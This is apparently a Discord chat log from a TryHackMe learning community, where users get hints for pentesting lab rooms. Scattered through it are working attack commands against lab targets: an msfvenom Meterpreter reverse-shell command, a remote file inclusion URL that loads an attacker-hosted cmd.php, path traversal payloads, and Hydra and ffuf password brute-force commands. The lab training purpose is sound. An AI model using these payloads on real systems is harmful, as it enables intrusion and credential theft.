[prisma raptor]

Which task is that?

[fierce forge]

Task 8 Challange 1

In Files Inclousion Room

[prisma raptor]

Hey.. did you manage to figure it out?

[fierce forge]

nope went out for Lunch since i couldnt figure it

[prisma raptor]

aahh.. you still in the room?

[fierce forge]

yep

[prisma raptor]

Got it. In challenge 1, inspect the html code particularly on the form..

[fierce forge]

Hmm will do Ty 😄

[prisma raptor]

On the line beginning with form action and notice the request method.

[fierce forge]

ok got it Thank you 🙂

[prisma raptor]

Did you manage to solve it?

[fierce forge]

yes, managed the Rest aswell. But have to say the last challange was by far the easyest imo.

[upbeat helm]

How do I send image

I also have some problem to show?

[violet brook]

You will have to verify first 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[upbeat helm]

Thanks again

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4546)

[upbeat helm]

I can't see flag, Why?

See, still can't see.

[violet brook]

What are you trying to do ? Which task ?

[upbeat helm]

Jr pentester - Web hacking- File inclusion - task 8 last challenge RCE

[violet brook]

That ip doesn't seem correct , use your tun0 ip

[cloud dome]

Hey NB what port are you serving cmd.php on?

When I run this - I have a python web on <ATTACK-BOX-IP>:9001

so input is ... http://<TARGET-IP>/playground.php?file=http://<ATTACK-IP>:9001/cmd.php

[violet brook]

that looks good

[honest totem]

Why did I get this?

[violet brook]

Site isn't well optimized for mobile

[honest totem]

No, this is an email sent to me, saying I got a badge

this one

[violet brook]

Oh congrats 🙂 🚀 . You were the 1st in your league last week and you got the badge for that 🙂

[honest totem]

Okay, but I don't think I was number one. It's not in the top five, and then it sent me this today. It's really strange.😂 😂

[upbeat helm]

I'm only getting 200 status why? Jr pentester - Burp suite - Intruder - Last challenge.

[violet brook]

Try to sort by length

[formal river]

can anyone help me i ma stuck here Blind SQLi - Time Based in

https://tryhackme.com/room/sqlinjectionlm

[upbeat helm]

What is the problem?

[upbeat helm]

Already did sir but the length is also the same

[violet brook]

Try to disable url encode these characters option in Intruder settimgs and run attack again

[upbeat helm]

Still same issue

[violet brook]

take a shot of your request and response

[upbeat helm]

You mean this?

[formal river]

Done I Found Solution In Older Chat

[violet brook]

no go to intruder settings

[upbeat helm]

What exactly do you want to see and in Intruder settings where I can find that req and response, I used hydra to crack and it worked perfectly but with this only 200

[upbeat helm]

ok found the problem, the problem was wrong request i was using get instead post.

[upbeat helm]

Is it necessary to learn java script for XSS and SQL for sql injection?

[violet brook]

Of course

[upbeat helm]

OK and how much exactly like, basic knowledge or advance?

[violet brook]

Depends what you want to do but the more you know - the better 🙂

[upbeat helm]

Right

[upbeat helm]

Can you tell me after completing Web hacking path, What should I learn after that, I wanna learn in more deeper about web hacking/pentesting and want to solve labs, so please guide me, Sir.

[violet brook]

You can go with Web App Pentesting path then 🙂

[clever ledge]

Hello, I am currently doing Net Sec Challenge, the ftp flag question and Hydra has been working for the past 45 minutes. Is this normal or am I doing something wrong?

[violet brook]

No , provide a shot

[clever ledge]

Sorry, i restarted hydra once, so it doesnt show the correct time

used the command : hydra -l eddie -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp

[violet brook]

what's your command ?

[violet brook]

ftp is not running on default port in this case

[clever ledge]

oh shit, right

My bad

Thanks @violet brook

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4637)

[hardy bison]

Hi there, the vm for the task 11(NFS) in the linux privilege escalation room is failing to load, the vm for task 10 loaded fine. This is the error message. Any tips?

[hardy bison]

happening with task 12 too 😦

[violet brook]

We've pinged staff , problem should be resolved soon 🙂

[fierce flower]

Not sure if I am in the right channel, but can someone give me a general idea of how to read a text file in the payload area of task 5 of Server-side Template Injection Task 5? My brain is not recalling how to read the file, but I have made it through to were I can list the contents of the directory.

[fierce forge]

Hi is someone els having issiues with Flags not beeing accepted? Im currently in the Room SQK Injection Task 6 and got the flag but it wont accept it

[violet brook]

Try to refresh the web page

[fierce forge]

did so, same Result

[violet brook]

That doesn't seem like a correct flag for task 6

[fierce forge]

hmm but its the one i got for that Task. Did i do sth wrong or is it mby a bug?

[violet brook]

refresh thm page use lab provided in task 6

[fierce forge]

It dosnt have a lab in task 6 its the Lab from Task 5 that has levels for the following Tasks

[coarse gale]

i think this task it has a sort of rolling lab(?) so once you get the flag for level 2, press the blue "level 3" button to continue

oh wait yeah sorry I misunderstood; I've just checked the task itself, you'll need to press the "Level 3" button, then enter the flag that is shown on the next page

[fleet latch]

Hey guys, in the active recon room where we need to use telnet for the given IP address. Do you know why it is not working for me? The telnet always fails...I am sure my IP address is correct and I am using port 80 as suggested.

[violet brook]

Can you provide a screenshot ?

[upbeat helm]

telnet <Target IP> 80 Are you using like this?

[fleet latch]

Solved it already, I needed to restart the machine and attack box, because it wasn't working for some reason...

[fleet latch]

yep, was using exactly this syntax, but solved already, thanks though!

[next lance]

Gave +1 Rep to @upbeat helm (current: #2830 - 1)

[violet brook]

Maybe you were using wrong machine that task has multiple machines . Whenever you see machine icon in task header it means that it has different machine than other tasks 🙂

[fleet latch]

Yes, exaclty. I think, this was the case.

[fleet latch]

hi again 🙂 I am working on the net sec challenge room. Where I am on this step: "We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?"

I'm guessing here since I know 2 usernames I can use: hydra -l eddie -P /usr/shared/wordlists/rockyou.txt -f <ip> ftp -V, right? However, it's been some time and no matches :/ Do I need to specify some other arguments, so it goes quicker or skip some things or I just simply need to be more patien? 😄

[frank pilot]

hello

[prisma raptor]

Have you tried it for user quinn as well?

[violet brook]

FTP is running on non-standard port in this case , you also need to specify that port 🙂

[twilit venture]

Hello

Quick one 1️⃣ please going through other wire shark room and something bugs me really

Exercise file when I do the expert analysis I gt 12 count as warning

Went to a walk through and number is 1638 what might be the issue

[fleet latch]

I did yes

[fleet latch]

yeah, it is...ah, ok, I didn't know that, thanks a lot!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4698)

[fleet latch]

BTW, I am currently like 80% done with jr pentester path. Are there any good and easy CTFs that you'd recommend to look into and be challenged with and where I can also test all the things I've learned in this particular room? 🙏

[violet brook]

You can try this one for example 🙂
https://tryhackme.com/room/billing

[fleet latch]

Thanks, will do that!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4700)

[fleet latch]

Thanks KGB, for the recommendation. I've just finished the Billing CTF. It was super nice, however I needed to jump on YT and look for some advice as I was stuck mainly for the last part with the fail2ban-client and setting up the payloads there. However, I've made notes, so will keep it for the future for sure!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4701)

[violet brook]

Great job , maybe you can try this one also . It is similar but a bit easier than billing 🙂
https://tryhackme.com/room/silverplatter

[fleet latch]

thanks! I will definitely look into it 😉

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 4703)

[fleet latch]

Hey! So, I have some time, so I am looking into that silverplatter CTF. So far, I ran nmap, but nothing really interesting there. I've tried gobuster with scanning for dir, where I found images and assets, but they both return error and no subdomains where found. After scanning website I found that probably the exploit needs to be done with HTML5 AV manager (wordpress plugin). I think this is the right way. I check searchsploit with those keywords and there is that exploit, also on exploit-db. However, I am kind of clueless about how to use this exploit :/

PS: I hope it is ok, to write it here like this (sorry, pretty new to this)

[violet brook]

Did you find the login form 🙂 ?

[jagged river]

Can someone please tell me how to get the python3. 9 smbserver.py to work in my vmware linux box?I tried the whole morning to install python3.9 and the impacket and solve other version script problems. This is needed for the windows privilege escalation - SeBackup/SeRestore) task.

[fleet latch]

nope

[violet brook]

enumerate more then . there should be a login page somewhere , try to bf it 🙂

[fleet latch]

oh, ok found it now 🙂

[violet brook]

No , try some brute-force magic 😉

[fleet latch]

Done 🙂 this was fun and challenging 🙂 learned some news skills here as well

[violet brook]

Congrats , great job 🙂 🚀

[fleet latch]

Hey there! In the room: Privilege Escalation: Kernel Exploits, when I am as user "karen" and I know that the kernel version is 3.13 and found that exploit on the exploit-db website, how can I download it? Shouldn't I be able to just do wget <link> and it will download it to the current directory?

[violet brook]

Download to /tmp directory since it is usually writeable by everyone

[fleet latch]

kk

[timid bay]

I have a question I see there are many many path ways and module … which path way is good for someone who is willing to go for offensive security course ?

Currently I’m almost down with Jr pen tester

[violet brook]

You're already on a right path , keep going 🙂

[fleet latch]

Hi there! I just installed Kali linux on my machine as I was a bit tired of using AttackBox and I wanted to get my hands on Kali and become more comfortable on it myself. Therefore, I have 2 questions I'd like to ask. 1. Things I need to install on Kali that are neccessity? 2. How to get the wordlists on my Kali similar to AttackBox wordlists?

Also, I am all ears to any other suggestions as I am here to learn as much as possible.

Thanks! 🙏

So far, I have installed metasploit-framework, hydra, searchsploit, burpsuit

[violet brook]

1. Not much , many cysec related tools are already pre-installed on Kali
2. sudo apt install seclists

[violet brook]

All of that should already be pre-installed on Kali 🙂

[fleet latch]

Right, I'll do that, because I had some issues at the installation, so I am missing some things.

What about the wordlists, those come as well?

[violet brook]

Some do . You can install seclists pack with
sudo apt install seclists

[fleet latch]

cool, thanks a lot!

[tiny frigate]

Is there someone that can help with the file inclusion room?

[violet brook]

what's the issue 🙂 ?

[tiny frigate]

For the challenge flag 2. I’ve sent you a message directly

[tiny frigate]

Is the entry point the url or cookie itself or something different all together. I tried direct messaging ya as well

[violet brook]

cookie

[tiny frigate]

Running into same type of issue with flag3. Is the request part of the url or am I barking up the wrong tree

[upbeat helm]

Hello can anyone tell me , from which machine should I start solving to learn windows privesc except Blue machine , I already solved some linux machines , now I wanna learn windows so as a beginner what machine should I start?

[violet brook]

I would recommend this one 🙂
https://tryhackme.com/room/windowsprivesc20

[plain hearth]

Hello everyone. Is anyone interested in taking the jr pentester path? I have completed it, but would like to do it again to go over the topics well and prepare for PT1

[violet brook]

That is a good idea 🙂

[upbeat helm]

If you already completed then u should try to solve machine it will give you more practical knowledge.

[upbeat helm]

Sorry to ask again but I meant ctf type windows machine not walkthrough also I already did blue so what next .

[violet brook]

Have you checked out windows ad exploitation module ?

[upbeat helm]

No what's the name of the module?

[violet brook]

This one 🙂
https://tryhackme.com/module/hacking-active-directory

[upbeat helm]

Ok but first I need to learn basic windows exploitation then I can move further to learn AD and that's why I asked you to tell me some ctf type windows machine as I already competed the Windows PrivEsc, now I want to do practice and test my knowledge.

[violet brook]

Everything that you need is in path above 🙂

[upbeat helm]

Ok i'm doing Offensive Pentesting Path , there is everything what I need as a beginner. Thanks

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5062)

[violet brook]

What is your full cmd ?

[gleaming cloud]

Helo, friendz!

Does anyone who's doing this path to join in some meetings like 30 mins/day and share knowledge about what we accomplished during our journey ?

Since the most valuable method of gaining information is by teaching others, we can try that also combined with this discussion group and learn-by-actual-doing-on-labs ?

Also if someone is looking forward to join me as a team and try the impossible in a real target like a low hanging fruit (for the beginning) Bug Bounty program it would be great!
Please let me know !

[plain hearth]

Here I am, but before taking part in a real bug bounty program, I would like to get the PT1 certification.

I’m going through the Junior Pentester path again to reinforce the concepts.

[gleaming cloud]

It is not the right approach. Just text me in private. Everything is possible. I have only 2 months of an ethical hacking internship and found an XSS , a self XSS with no impact but , i mean is something , is a motivation to keep moving forward. We should do the labs on platform but in. Parallel pick a real target, master your reconn , face problems.

[gleaming cloud]

And when do this in team it becomes even more exciting..

[plain hearth]

That’s so true — sharing ideas and solving problems together is the best part!

[gleaming cloud]

Yeah

Is scientifically proven that teaching others, learn by doing and group discussions are the best ways to learn, to retain information

The lowest ones are the lecture and visual/audio stuff

Which are also good when you are in park, or at the country side at you grandparents house , when relaxing in general
That is called passive learning

[brittle ice]

Subject: Flag Submission Issue in 'Walking An Application' Module - Flag 4

Message Body:

Hello TryHackMe Team / Community,

I am currently working on the "Walking An Application" module and encountering an issue when attempting to submit the fourth flag (Flag 4) from the "Viewing the page source" section.

The expected flag is THM{CHANGE_DEFAULT_CREDENTIALS}.

However, when I try to enter it into the text field, the system seems to add unwanted spaces or prevent the flag from being completed correctly. This prevents me from submitting it and thus, I cannot progress with the exercise. In the input field, the flag appears as THM{CHAN_GEDE_FAULTCRE_DENTIAL }, with spaces and characters that do not match the original flag for the exercise.

I would greatly appreciate your help in resolving this issue so I can complete the task.

Thank you in advance for your time and assistance.

Best regards

[violet brook]

That's not the correct framework flag , that flag is for another room . Check out page's source code to find out framework page > Go to the page and inspect recent commits 🙂

[brittle ice]

Thank you, I could do it, but it is confusing.

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5153)

[clear hornet]

Is there a way I can learn..without spending on subscriptions? Because most rooms Im doing in the roadmap is paid..

[violet brook]

Go to this page and select free roadmap
https://tryhackme.com/hacktivities/
You can see a complete list of free rooms on the link below 🙂
https://tryhackme.com/hacktivities/search?page=1&contentSubType=free

[wary walrus]

In the RaceConditions room: Task 7 - I am unable to transfer fund , I made sure proxt and all were off but this thing does not seem to be working and yes this acount has 100 usd so it has no reason to fail or keep spinning while transferring..

Can anyone please help , I think the website is broken .. 😦

[gusty depot]

yesterday i have completed this room, it was working fine. try restarting...

[fierce forge]

Restart the Maschine. Also important to note the account who is recieveing only updates after you log off it and log back in if you have it paralell opend to the Account sending

[shell monolith]

I honestly didn't know this had been packaged, I've been hunting them down on github all this time 😂

[wary walrus]

Got it to work bro thanks 👍🏻

[next lance]

Gave +1 Rep to @fierce forge (current: #2924 - 1)

[wary walrus]

Thanks for the help

[split basin]

can I start the Jr pentester path directly by skipping cybersecurity 101? I have completed pre-security path

[violet brook]

Definitely don't do that . If you skip fundamentals from Cyber101 you won't get far with Jr.Pentester path . Definitely go with Cyber101 before any other path

[split basin]

Thanks.....on it

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5208)

[upper hill]

I'm still on Cybersecurity 101, taking the #pentester path, how can I start creating a portfolio?

[stark turtle]

Exactly what kind of portfolio would you wanna start?

[glass osprey]

This is a great advise. @split basin I did pre-security and cybersecurity 101 in less than 40 days, each day only doing 1-2 hours a day

@wary walrus I am in the same task!

[violet brook]

Great job 🙂 🚀

[glass osprey]

found a weird issue while testing

[buoyant rapids]

[golden crypt]

I'm not taking this path for the cert, just to learn. Do y'all think I could skip the Burp Suite module and come back to it at the end? I started using it in the web hacking module and it's pretty straightforward

[tranquil wind]

isn't this incorrect?

[violet brook]

Definitely don't do that . Burp is a fundamental tool , you will use it a lot as a pentester 🙂

[violet brook]

Why do you think that it is incorrect ?

[tranquil wind]

Cause Sniper does it sequentially not simultaneously

[civic siren]

What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell

[fierce forge]

What Task do you need it for?

[civic siren]

What the Shell?
msfvenom

[civic siren]

What the Shell?
msfvenom

[fierce forge]

Do you really want the Solution or do you want a hint and find it yourself since that way you understand it better

[civic siren]

give me the solution i have been stuck here for hours

[fierce forge]

ok

should be along the lines of: msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell.elf LHOST:10.10.10.5 LPORT:443

[civic siren]

incorrect

it says

[fierce forge]

are you sure that you need port 443?

ahhh ok i see it

[civic siren]

What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell isnt that is what the question asking us

[fierce forge]

remove the .elf from -o shell.elf

so it looks like this: msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443

[civic siren]

nah its still not working

[fierce forge]

Is it saying wrong or unknown error ocured? since that is the solution i have in the Task

Cus if it is unknown error you need to reload the page

[fierce forge]

Did it work by now?

[civic siren]

Noo

It says wrong

[plain hearth]

Strange. This should be the correct answer, as @fierce forge writes

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443

[glass osprey]

just started on room/passiverecon

anyone else here?

[golden crypt]

I just finished the first nmap room so I'm not too far ahead of you

[violet brook]

Congrats , keep up the good work 🙂 🚀

[forest oracle]

Anyone knows why gobuster and ffuf are lightning quick, but dirb takes forever?

[knotty bloom]

dirbuster? idk

to me gobuster is actually slow

I use dirsearch

[forest oracle]

https://www.kali.org/tools/dirb/

It's one of the tools in the attack box for the early pentester rooms. I installed and ran all three on my local system via VPN. Gobuster and ffuf were pretty fast, but dirb took ages. I thought it was due to the other two being developed in go, but then it seems dirb was coded in C, so I'm at a loss. The difference in performance is brutal.

[coral merlin]

I'm having issues with this question, it's saying too many fingerprint on that host so it can't give os version

I can't upload the question but it's on netsac challenge about FTP nonstandard port listening

We have an FTP server listening on a nonstandard port. What is the version of the FTP server?

[violet brook]

Perform nmap scan with -p- flag set

[knotty bloom]

ohhh, dirb, I don't use dirb so 🤷‍♂️

[snow spire]

hi all, I couldn't get the result in Nmap Basic Port Scans Task 6 UDP scan. is it because UDP is connectionless without handshake + poor connection packet dropped? I tried connecting via different VPN servers (AU's and US's), changed the default -T3 to -T4 (didn't want to slow it down). Try it many times and couldn't get the result. Please let me know if I have done anything wrong. thanks a lot!

└─$ sudo nmap -sU -F -v 10.10.129.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 00:42 EDT
Initiating Ping Scan at 00:42
Scanning 10.10.129.48 [4 ports]
Completed Ping Scan at 00:42, 0.39s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:42
Completed Parallel DNS resolution of 1 host. at 00:42, 0.01s elapsed
Initiating UDP Scan at 00:42
Scanning 10.10.129.48 [100 ports]
Increasing send delay for 10.10.129.48 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.129.48 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.129.48 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.129.48 from 200 to 400 due to max_successful_tryno increase to 7
Discovered open port 111/udp on 10.10.129.48
UDP Scan Timing: About 45.67% done; ETC: 00:43 (0:00:37 remaining)
Increasing send delay for 10.10.129.48 from 400 to 800 due to 11 out of 23 dropped probes since last increase.
Completed UDP Scan at 00:43, 104.44s elapsed (100 total ports)
Nmap scan report for 10.10.129.48
Host is up (0.32s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
111/udp open rpcbind

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 104.96 seconds
Raw packets sent: 262 (16.915KB) | Rcvd: 114 (9.228KB)

[daring cradle]

Could it be you still had a machine running of the previous tasks instead of the one from task 6?

[snow spire]

i just tried again and started the task 6 machine. the result is the same.

[knotty bloom]

let me try it, one sec

[rancid lotus]

i just did it after seeing your question

working fine for me

[snow spire]

I am not sure why it didn't work for me and I will just move on...

[rancid lotus]

similar thing happened to me in the linux priv module

tried 3-4 times but didn't work

[snow spire]

thanks for looking into this @knotty bloom and @rancid lotus.

[next lance]

Gave +1 Rep to @rancid lotus (current: #2939 - 1)

[knotty bloom]

oh wait, I didn't try it yet 🤣

one sec

got busy

[rancid lotus]

anytime brother

[daring cradle]

I'm pretty sure the reason is that you must run the scan from the Attackbox. That's why the task specifically mentions:
"Launch the VM. On the AttackBox, use the terminal to execute..."

If I run the scan from my own Kali I have the same issue as you. If I run it from the Attackbox the new UDP port shows up.

[rancid lotus]

don't think so

i used the openvpn to connect first and then ran the scan from my system

doesn't need to be from the attack box only

[daring cradle]

then the thing is just being flaky 🤷‍♂️

[rancid lotus]

yupp

[glass osprey]

I just completed nmap01

this room with host discovery is amazing!

is there any group that would like to have one person for the upcoming ctf? I don't have one group and don't want to join alone

[violet brook]

#1385308722225483926 Here 🙂

[glass osprey]

awesome thanks!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5283)

[glass osprey]

doing this, is not working, so I added -p143, and got the results back, wondering why would they ask for 143 if only port 111 came back with results

[violet brook]

What doesn't work here ?

[glass osprey]

the port scan works, but I am trying to understand why the port 143 isn't on the first scan

[violet brook]

add -p- to your first cmd to scan all ports

[glass osprey]

so, not always I need to run the exact commands from thm, but instead add more context?

[violet brook]

Well it depends , sometimes yes it may need some additional settings

[glass osprey]

looking at other threads in this discord, people have different opinions as to why it didn't hapened

[lime jolt]

I'll suggest you don't try to understand every error, to save you the time and the headache
You will always encounter errors that you won't know what the cause is and that's fine
Programs are not meant to be overly perfect

[lime jolt]

The port might also be protected by a firewall or the service, idk
Just think this might also be the case

[glass osprey]

yeah make sense. I guess, looking at other threads, the --version-light might be fast and not come back with results that you want

with -all

[lime jolt]

Yes, I think the "-light" flag is for speed

[violet brook]

Your initial scan scans only the most common ports , port 143 may not be included there

[lime jolt]

Yes, this flag gives more verbose output

[violet brook]

Maybe it was in the older version of nmap when the room came out that's why it may be missing from the hint

[glass osprey]

I see, interesting, I will suggest to review it in the comments section

[rancid lotus]

linux priv capstone challenge was pretty fun, just finished it

[rancid lotus]

wrote my first ever writeup, looking for feedback

https://medium.com/@yashrustagi22.yr/tryhackme-linux-privilege-capstone-challenge-62e8afff45d0

should it be more detailed or uhm is it fine, what can be improved

[violet brook]

You can post your writeup in #thm-community-media channel 🙂

[rancid lotus]

oooh okay!

[upper hill]

Job seeker portfolio.

[stark turtle]

yea but how exactly do u wanna start a pentesting portfolio? This isnt webdev lmao

Do CTFs etc.

[sweet tide]

Have a look at https://secbook.in

And let me know how it is

Also let me know if you have any suggestions and improvements I can make to my portfolio.

[forest oracle]

I have some feedback for room https://tryhackme.com/room/authenticationbypass
On task 3, we are given a ffuf command to run to try to brute force the login page. But the syntax does not work on a new version of ffuf installed on a local machine (I have not tested on the attack box).
The syntax given is
user@tryhackme$ ffuf -w valid_usernames.txt:W1,10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.102.3/customers/login -fc 200

But the two word lists need to be entered with their own -w flag:
ffuf -w valid_usernames.txt:W1 -w 10-million-passwords-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.102.3/customers/login -fc 200

[rancid lotus]

don't think so, I did on my system as well and the first command ran without any problem

it's version 2.1.0

[forest oracle]

Thanks, I should have checked the tags on the repo. I just used the version on apt install, which seems hasn't kept up to date.

[next lance]

Gave +1 Rep to @rancid lotus (current: #1924 - 2)

[spring depot]

I got a new phone, a few weeks ago. Haven't been on try hackme for months, recently joined the discord community. I'm having trouble recovering my old account....damn

[violet brook]

What is the problem exactly ?

[spring depot]

@violet brook goodmorning, I don't remember my password

[violet brook]

Try to reach out to Discord's support , they can probably help you recover it 🙂

[spring depot]

@violet brook I'll give it a go, thanks.

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5305)

[spring depot]

@violet brook if you don't mind, what does the sword, THM and the blue shield next to your name mean?

[violet brook]

Blue shield indicates that I am a moderator , sword is a server tag for THM's server . You can also obtain it in your account settings 🙂

[rancid lotus]

finished!

[violet brook]

Congrats , great job , keep it up 🙂 🚀

[rancid lotus]

thankss

[spring depot]

@rancid lotus congratulations!!!

[rancid lotus]

thankss!!

[glass osprey]

congrats!

I am having too much fun with this room /exploitingavulnerabilityv2

I even changed one of the pictures for change password, admin, admin is not secure 😄

[rancid lotus]

ohh nice

[glass osprey]

@violet brook is it normal that reverse shells don't work on some of the targets machines? for example, I just tried different reverse shells after gaining RCE (Capstone, Fuel CMS) and none of them worked, similarly with (exploitingavulnerabilityv2) or is it just me, I am so noob lol. Although I managed to host the shell, make target download it and run it

[violet brook]

Well that depends on a lot of factors. I can tell you much without knowing full context

[modest arch]

@violet brook hello, I have a question about race condition vulnerability, if a hacker attacks and acceds to someone's bank account and found an amount like 10$, can he transfer that 10$ in parallel to his account and becomes 100$ for example ?
because I just did the race condition room and I want to understand if this is the concept of the exercice

[violet brook]

Well , theoretically yes but that depends exacly on how the app is coded and how exactly it functions . Many modern apps/frameworks are hardened against this vulnerability 🙂

[modest arch]

OK, thanks for the clarification 🙂

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5320)

[fierce forge]

Finished the path a couple days ago any recomendations for Challange Rooms to Solidify the gained Knowdlege

[violet brook]

This one is a good choice 🙂
https://tryhackme.com/room/smol

[fierce forge]

Imma take a look into it thank you

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5329)

[fierce forge]

Cant access the Site of the Vounerable maschine, is that intended or Broken?

[violet brook]

wdym ?

[fierce forge]

When i try to access the Vounerable site via Browser on the AttackBox to have a look at the Wordpress Site the IP redirects to "http://www.smol.thm/" witch then dosnt load

[violet brook]

Well you need to add that domain and subdomain to /etc/hosts

[spring depot]

@fierce forge congratulations!. What was the most challenging about that path for you, and the an eye opener?

[glass osprey]

ahhh! could not run this reverse shell and was diriving me crazy! all I had to do was assign chmod +x rights and then cronjob gave me a root shell! room//linprivesc

[glass osprey]

so for room//linprivesc, task 11, the GCC of my linux was higher thus giving errors, if anyone come across this, try gcc -static nfs.c -o nfs

[knotty bloom]

#room-help ask here

[honest totem]

Hi bro, I have completed this challenge. Can you recommend any similar Linux privilege escalation machines? I need more machines.

[violet brook]

Try this one 🙂
https://tryhackme.com/room/silverplatter

[honest totem]

OK, I may need you to recommend some more after I finish~~

[fierce forge]

I Think The most Challanging was the Cross Site Scripting Part Together with the SQL Injection

[glass osprey]

It was nice run!

[rancid lotus]

congrats! 👏

[glass osprey]

Thanks

[next lance]

Gave +1 Rep to @rancid lotus (current: #1173 - 4)

[rancid lotus]

what's your next focus on?

[glass osprey]

Maybe red Teaming

[violet brook]

Congrats , great job , keep it up 🙂 🔥 🚀

[glass osprey]

Ty for you all your help and support!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5348)

[honest totem]

I have finished it, please recommend me a new room~

[violet brook]

about what ?

[honest totem]

Still Linux privilege escalation.

Both paths and challenges can

[violet brook]

This one
https://tryhackme.com/room/mkingdom

[honest totem]

ok

[upper hill]

Hello, i sent a direct message to you.

[dim fog]

Hi

I am trying to figure out the first Challenge to read /etc/flag1
I tried changing the Request method to POST and forward the packet via Burp Suite and received an error that the file doesn't exist

I tried different paths including /etc/flag1 and with dot-dot method to find the root directory, but none of them worked so far

Can you please give me a hint? what am I missing here

[violet brook]

How did you change the method ?

[dim fog]

By right clicking on the packet and selecting Change Request method option

[violet brook]

What's your response ?

Also send this to repeater and disable intercept

[dim fog]

I got the response as the file doesn't exist and I think the chall1.php is taken as the requested file

[dim fog]

Okay I will try that

[dim fog]

Would this be the right way?

[violet brook]

Why do you have dangling ? in URL ?

[dim fog]

It was there by default so I thought it might be needed to indicate the query string

Should I remove it?

[violet brook]

Yeah

[dim fog]

When the intercept is off, should I disable the Foxyproxy too?

And should I check the response on the browser itself or under the Response tab of the Burp Suite?

[violet brook]

Check responses tab

[dim fog]

Same response here

[violet brook]

Try ordinary instead of nested sequence

../../../../etc/flag1

[dim fog]

Worked, thanks!

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5355)

[dim fog]

For the 3rd challenge, shouldn't this URI work?

chall3.php?file=....//....//....//....//%2Fetc%2Fflag%00

OR

chall3.php?file=../../../../%2Fetc%2Fflag%00

[violet brook]

Try to specify flag3 instead of just flag

[dim fog]

I tried this too, but I got the same error: chall3.php?file=../../../../%2Fetc%2Fflag3%00

[violet brook]

Can you provide a shot of request

[dim fog]

Sure

[dim fog]

I changed it a bit and now it worked

[plain hearth]

Hello everyone! - Room: Linux Priv Esca - task 9 - cronjob - I exploit backup.sh with success. I am trying to expoit /tmp/test.py, right now. Is it exploitable? Thank you.

[violet brook]

You should focus on backup.sh , make sure not to forget to give +x permission to the script

[plain hearth]

thanks. i got the flag using backup.sh, i wonder why it is not possible to use test.py, i am trying with a reverse shell in python to write in the test.py file and wait for it to be executed by cron.

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5371)

[silent siren]

someone online now?

Let's to study together

[viral osprey]

?

Newbie ?

[sand raft]

@violet brook im looking to start HACKTHEBOX . Do you think jr pentester path is enough since HTB not that beginner friendly.

[violet brook]

Yeah Jr.Pentester is a great path even recommend one for PT1 certification . It covers a lot of topics related to offsec

[sand raft]

👍

[hollow marsh]

Race-Bank-v0.1, not sure if this was mentioned before but im unable to finish the task, the vm is unable to keep up with the requests

ive reset it 3 times but no joy

[daring cradle]

Same here for the Relevant challenge. Been trying to run gobuster dir on it since yesterday, but the box keeps dying every time. Extremely frustrating and I haven't even increased the number of threads from the default 10

[honest totem]

I have completed it. Please recommend similar rooms to me.

[violet brook]

https://tryhackme.com/room/linuxagency

[honest totem]

🆗

[neon anchor]

#attackbox-issues while using attacbox i cant access the http://MACHINE_IP

[violet brook]

Well you need to change machine_ip placeholder with an actual IP 🙂

[neon anchor]

Hello,
I'm working on a room and encountered an issue. I replaced the MACHINE_IP placeholder with the actual IP address provided in the task, but I'm still getting the following error:

Error Code: 405
Message: Method Not Allowed

I've already restarted the machine and refreshed the page, but the error persists. Please help.

Thank you,
Abhishek Vishwakarma

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5408)

[violet brook]

Can you please verify and provide some screenshots ?

[ashen moss]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jul 1, 2025, 5:08 AM

[neon anchor]

YES

[neon anchor]

i shared the screnshot in personal please check

[violet brook]

Please verify and provide the shot here

[neon anchor]

how do i verify

[violet brook]

I gave you the link above , follow those instructions

[neon anchor]

check and resovle my problem

[violet brook]

Can you provide a shot of machine info box please 🙂 ?

[violet brook]

screenshot of machine information it's located above the tasks

[violet brook]

You haven't even started the machine

Go to task 1 and press green Start machine button

Wait 5 min for a machine to boot up and use that IP in your browser

[violet brook]

Provide shot of machine info box

[neon anchor]

where can i find machone info?

[violet brook]

above the tasks

[violet brook]

Use http:// instead of https://

[neon anchor]

